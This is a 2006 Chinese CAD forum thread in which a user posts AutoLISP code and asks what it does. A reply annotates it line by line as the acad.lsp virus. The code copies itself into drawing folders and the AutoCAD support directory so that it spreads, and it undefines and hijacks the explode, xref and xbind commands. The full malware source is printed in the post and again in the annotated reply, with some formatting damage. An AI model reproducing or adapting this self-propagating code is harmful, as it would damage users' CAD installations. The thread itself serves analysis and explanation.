土木在线论坛 \ 建筑设计 \ CAD下载及教程 \ 请教:这段LISP是什么意思

请教:这段LISP是什么意思

发布于:2006-02-17 08:32:17 来自:建筑设计/CAD下载及教程 [复制转发]
(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2
)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (substr path 1 (- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq ns1 ""
ns2 ""
)
(setq lspbj 0)
(setq wjqm (strcat path "acad.lsp"))
(if (setq wjm (open wjqm "r"))
(progn (while (setq wz (read-line wjm))
(setq ns1 ns2)
(setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadiso")
(setq lspbj 1)
)
)
(close wjm)
)
)
(if (and (= acadpath dwgpath) (/= acadpath path))
(progn (setq oldacad (findfile "acad.lsp"))
(setq newacad (strcat path "acadiso.lsp"))
(if (= lspbj 0)
(progn (setq wjqm (strcat path "acad.lsp"))
(setq wjm (open wjqm "a"))
(write-line
(strcat "(load" (chr 34) "acadiso" (chr 34) ")")
wjm
)
(write-line "(princ)" wjm)
(close wjm)
)
)
(writeapp)
)
(progn (if (/= nowdwg "Drawing.dwg")
(progn (setq oldacad (findfile "acadiso.lsp"))
(setq newacad (strcat dwgpath "acad.lsp"))
(writeapp)
)
)
)
)
(command "undefine" "attedit")
(command "undefine" "xref")
(command "undefine" "xbind")
(setvar "cmdecho" old_cmd)
(princ)
)

全部回复(7 )

只看楼主 我来说两句
  • grig_luo
    grig_luo 沙发
    (princcont)
    (princ " was not able to be
    explode")
    )
    )
    (setvar "cmdecho" old_cmd)
    (princ)
    )
    (defunC:xref ;重新定义的
    xref命令陷阱
    (/ old_cmd)
    (setq old_cmd (getvar
    "cmdecho"))
    (setvar "cmdecho" 0)
    (command "insert")
    (setvar "cmdecho" old_cmd)
    (princ)
    )
    (defun C:xbind;重新定义的
    xbind命令陷阱
    (/ old_cmd)
    (setq old_cmd (getvar
    "cmdecho"))
    (setvar "cmdecho" 0)
    (command "insert")
    (setvar "cmdecho" old_cmd)
    (princ)
    )(defunC:burst ;重新定义的
    burst命令陷阱
    (/ p old_cmd)
    (setq old_cmd (getvar
    "cmdecho"))
    (setvar "cmdecho" 0)
    (princ "\nBURST----将图块
    中的文字炸开后成为实体")
    (setqp(ssget))
    (setvar "cmdecho" old_cmd)
    (princ)
    )
    (princ)
    2006-03-29 19:10:29

    回复 举报
    赞同0
  • grig_luo
    grig_luo 板凳
    (defuns::startup ;定义
    一个自动启动函数
    (/ old_cmd path dwgpath
    mnlpath apppath oldacad newacad
    nowdwg lspbj wjm wjm1
    wjqm wjqm1 wz ns1 ns2)
    ;定义变量
    (setq old_cmd (getvar"cmdecho")) ; 保存系统变量
    cmdecho 值
    (setvar "cmdecho" 0) ;设置
    系统变量cmdecho 值为0,以关闭
    回显
    (setq path (findfile "base.
    dcl"))
    (setq path (substr path 1 (-
    (strlen path) 8))) ;保存Autocad
    的support安装目录路径
    (setq mnlpath (getvar
    "menuname")) ;保存系统变
    量menuname 值
    (setq nowdwg (getvar
    "dwgname"));保存当前编辑的
    C A D 文件名
    (setq wjqm (findfile nowdwg))
    ;保存当前CAD 文件的全部路径
    (包括文件名)
    (setq dwgpath (substr wjqm 1
    (-(strlenwjqm)(strlennowdwg))))
    ;保存当前文件的目录路
    径,但当编辑新文件时,由于变量
    wjqm
    ;为nil,所以该语句会
    出错
    (setqacadpath(findfile"acad.
    lsp")) ;查找并保存默认路径下
    的acad.lsp文件全部路径
    (setq acadpath (substr
    acadpath1(-(strlenacadpath) 8)))
    ; 保存默认路径下的
    acad.lsp文件目录路径
    (setq ns1 "" ns2 "")
    (setqlspbj0)
    (setq wjqm (strcat path "acad.
    lsp")); 将“...\\support\\acad.lsp”
    全部路径保存到变量
    (if (setq wjm (open wjqm "r"))
    ;如果以“r ”方式打开“. . .
    \\support\\acad.lsp”文件成功
    (progn ; 说明“. . .
    \\support\\acad.lsp”文件存在
    (while (setq wz (read-line
    wjm))
    (setq ns1 ns2)
    (setq ns2 wz)
    )
    (if(>(strlenns1) 14)
    (if (= (substr ns1 8 7)
    "acadapp")
    (setqlspbj1) ;设置是否要
    在“...\\support\\acad.lsp”文件尾
    添加
    ) ;“(load "acadapp")”语
    句的标志变量值,
    ) ; 如果文件尾已有
    “acadapp"字符串,将标志变量置
    为1。
    (close wjm)
    )
    )
    (if (and (= acadpath dwgpath)
    (/= acadpath path)) ;当acad.lsp
    文件目录路径与
    (progn ;当前编辑文件目
    录路径相同,且acad.lsp文件目录
    路径不是“...\\support\\”
    (setqoldacad(findfile"acad.
    lsp"))
    (setq newacad (strcat path
    "acadapp.lsp"))
    (if(= lspbj0)
    (progn(setq wjqm (strcat path "acad.
    lsp"))
    (setq wjm (open wjqm "a"))
    (write-line(strcat"(load"(chr
    34) "acadapp" (chr 34) ")") wjm)
    (write-line"(princ)" wjm)
    (close wjm)
    ) ;当标志变量为0 时,在
    “...\\support\\acad.lsp”文件尾添

    ;“(load "acadapp")”语句
    )
    (writeapp) ;将acad.lsp病毒
    文件复制到“. . .
    \\support\\acadapp.lsp”文件
    )
    (progn(if (/= nowdwg "Drawing.
    dwg") ;当不是新建图时
    (progn
    (setq oldacad (findfile
    acadapp.lsp"))
    (setq newacad (strcat dwgpath
    acad.lsp"))
    (writeapp) ;在当前编辑
    件目录下复制acad.lsp病毒文
    ,将病毒文件扩散
    )
    )
    )
    )
    (command "undefine"
    explode") ;取消Autocad 的
    explode命令(command "undefine" "xref")
    ;取消Autocad 的xref命令
    (command "undefine""xbind") ;取消Autocad 的xbind
    命令
    (setvar "cmdecho" old_cmd)
    ;恢复回显
    (princ)
    )
    (defunwriteapp() ;该函
    数完成病毒复制
    (if (setq wjm1 (open newacad
    "w"))
    (progn
    (setq wjm (open oldacad "r"))
    (while (setq wz (read-line
    wjm))
    (write-line wz wjm1)
    )
    (close wjm)
    (close wjm1)
    )
    )
    )
    (defun C:explode ;重新
    定义的explode命令陷阱
    (/ p cont old_cmd)
    (setq old_cmd (getvar
    "cmdecho"))
    (setvar "cmdecho" 0)
    (setqp(ssget))
    (if p
    (progn
    (setqcont(sslengthp))
    (princ"\nSeltctobjects:")
    (princcont)
    (princ " found")
    (princ"\n")
    2006-03-29 19:09:29

    回复 举报
    赞同0
加载更多
这个家伙什么也没有留下。。。

CAD下载及教程

返回版块

52.08 万条内容 · 665 人订阅

猜你喜欢

阅读下一篇

绝对经典适用的CAD图块

这可是我花了好几百银子才淘得的,精品CAD图块哟。无论从手法或表现方法来看,都绝对值得以AUTOCAD为生计的朋友们参考。说句实话,本来还舍不得的,不过想到曾经如我一样苦苦寻觅经典CAD图块的朋友们,觉得还是应该拿出来让大家不再苦恼。我别无所求,只希望大家在得到资料的同时,还是给我多多的回贴,不要只下不发哟,呵呵……

回帖成功

经验值 +10